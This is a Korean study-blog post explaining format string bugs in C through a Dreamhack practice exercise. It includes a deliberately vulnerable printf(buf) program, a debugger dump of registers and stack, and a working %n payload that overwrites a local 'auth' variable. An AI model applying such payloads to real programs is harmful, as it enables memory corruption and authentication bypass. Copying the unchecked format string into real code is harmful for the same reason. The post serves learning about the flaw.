일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- C++
- Stream
- Widget
- fastapi를 사용한 파이썬 웹 개발
- system hacking
- DART
- ARM
- Kaggle
- 파이토치 트랜스포머를 활용한 자연어 처리와 컴퓨터비전 심층학습
- ML
- MATLAB
- Image Processing
- Algorithm
- BFS
- PCA
- pytorch
- MDP
- BAEKJOON
- Computer Architecture
- bloc
- FastAPI
- BOF
- study book
- rao
- Got
- Flutter
- 영상처리
- 백준
- llm을 활용 단어장 앱 개발일지
- Dreamhack
- Today
- Total
Bull
[System Hacking] Format String Bug (FSB) 본문
FSB
C언어에 포맷 스트링이라하면 대표적으로 printf, scanf, fprintf, fscanf, sprintf, sscanf가 있다.
이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다.
그런데 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다.
그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽을 수 있다.
Printf()
https://cplusplus.com/reference/cstdio/printf/
https://cplusplus.com/reference/cstdio/printf/
function <cstdio> printf int printf ( const char * format, ... ); Print formatted data to stdout Writes the C string pointed by format to the standard output (stdout). If format includes format specifiers (subsequences beginning with %), the additional arg
cplusplus.com
흔히 알고있는 printf("%d",a); 에 대해서 %d가 정수를 입력한다는 사실을 안다.
%04d처럼 %와 d사이에 많은 인자들을 넣을 수도 있다.
그 사이의 정규표현식은 다음과 같다.
%[flags][width][.precision][length]specifier
여러 형식지정자가 있지만 Dreamhack에서 FSB의 취약점에 대한 형식지정자를 알아보겠다.
printf("%s%n: hi\n", "Alice", &num); // "Alice: hi", num = 5
%s는 string 형식지정자로 문자열이 들어간다.
%n은 인자에 대한 길이를 변수에 저장한다.
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
$는 몇번째 인자에 대한 행위를 할 것인지 정한다.
FSB 연습 문제
// fsb_auth.c
#include <stdio.h>
int main(void) {
int auth = 0x42424242;
char buf[32] = {0, };
read(0, buf, 32);
printf(buf);
// make auth to 0xff
}
드림핵에 있는 연습 문제이다.
auth 변수에 0xff를 덮어 씌어줄 것이다.
%p 포매터는 void형 포인터로 해당 위치의 value를 알려준다.
---------- Debugger -----------
%p: rdi , value = 7fffffffdde0
%p: rsi , value = 7fffffffdde0
%p: rdx , value = 20
%p: rcx , value = 7ffff7af2151
%p: r8 , value = 7ffff7dced80
%p: r9 , value = 7ffff7dced80
%p: $rsp+0 , value = 1
%p: $rsp+8 , value = 42424242555547cd
%p: $rsp+16 , value = 7025207025207025
%p: $rsp+24 , value = 2520702520702520
%p: $rsp+32 , value = 2070252070252070
-------------------------------
여기서 printf()의 인자에 어떤 레지스터 값이 들어가는지 확인할 수 있다.
rdi, rsi, rdx, rcx, r8, r9 $rsp, $rsp+8 ...
처음에는 레지스터를 사용하고 r9 이후에는 스택을 8바이트 단위로 사용하면서 무한히 사용하는 것을 알 수 있다.
그리고 자세히 확인하면 아래 그려진 부분은 rsp가 가리키고 있는 스택이라는 점을 확인할 수 있다.
어떻게 확인할 수 있는지 직접 확인해보자.
$rsp+32 2070252070252070를 잘 보면 해당 되는 부분에 8바이트 단위로 "리틀 엔디언" 형식으로 저장되는 것을 볼 수 있다.
그림이 살짝 엉망이지만 대충 요런식이다.
$rsp+32부분의 오른쪽 아래에 들어간 값들의 순서를 보면 같은 것을 볼 수 있다.
이제 %n이 길이를 인자에 저장할 수 있다는 사실을 이용해보자.
printf()는 분명 출력하는 함수인데 %n인자는 write가 가능하는 것이 취약점을 보여주는 거 같다.
우선 인자에 덮어쓸 주소를 적어야 한다.
0x7fffffffdddc auth변수의 시작주소는 왼쪽과 같다.
주소에 대한 정보를 해석할 때 리틀엔디언 방식으로 해석하기 때문에
이를 dc dd ff ff ff 7f 00 00으로 8바이트 단위로 만들어준다.
dcddffffff7f0000
그리고 hexcode로 변환!
ÜÝÿÿÿ
%255c은 255바이트 만큼을 공백으로 채우는 것이다.
그래서 %n은 길이를 저장하니까 0xff가 지정한 인자에 저장될 수 있다.
%n을 이용해 인자를 사용하기 위해 스택을 이용할 것이다.
이전의 Debugger를 확인해보면 몇 번째에 무슨 레지스터가 들어가는 지 알 수 있다.
---------- Debugger -----------
%p: rdi , value = 7fffffffdde0
%p: rsi , value = 7fffffffdde0
%p: rdx , value = 20
%p: rcx , value = 7ffff7af2151
%p: r8 , value = 7ffff7dced80
%p: r9 , value = 7ffff7dced80
%p: $rsp+0 , value = 1
%p: $rsp+8 , value = 42424242555547cd
%p: $rsp+16 , value = 7025207025207025
%p: $rsp+24 , value = 2520702520702520
%p: $rsp+32 , value = 2070252070252070
-------------------------------
즉,
rdi → | $1 |
rsi → | $2 |
rdx → | $3 |
rcx → | $4 |
r8 → | $5 |
r9 → | $6 |
$rsp+0 → | $7 |
$rsp+8 → | $8 |
$rsp+16 → | $9 |
$rsp+24 → | $10 |
$rsp+32 → | $11 |
내가 입력하는 문자열은 $rsp+16에 들어가게 된다.
즉, len("%255c%??$n") = 10이 되기 때문에 적어도 16번째부터 시작해야한다.
즉 $rsp+32부분에 해당 주소가 입력될 수 있도록하면 됀다.
len("%255c%11$n") = 10
len("aaaaaaa") = 6
len(ÜÝÿÿÿ) = 8
%255c%11$naaaaaaÜÝÿÿÿ
그림으로 확인해보면 어떤 느낌인지 감이 온다.
$11%n을 통해 $rsp+32부분에 적힌 hex encode로 들어간 주소에 값이 저장되면서 auth변수에 0xff값을 저장할 수 있다.
순서도(?)
사실 작년에도 대충은 이해하고 봤었는데 다시 보니까 하나도 모르겠어서...
다음에 또 볼 때 이해하기 쉽게 그림으로 그려보았다.
참고자료
[DreamHack 강의]
[출처]: https://dreamhack.io/lecture/courses/114
'Computer Science > System Hacking' 카테고리의 다른 글
[pwndbg] gdb에 바이트 코드 집어넣기 (0) | 2024.05.17 |
---|---|
[System Hacking] PLT & GOT 간단하게 이해하기 (0) | 2024.05.17 |
[System Hacking] Return To Library(RTL) with ROPgadget (0) | 2024.04.10 |
[System Hacking] PLT & GOT (0) | 2024.04.10 |
[System Hacking] NX & ASLR (0) | 2024.04.09 |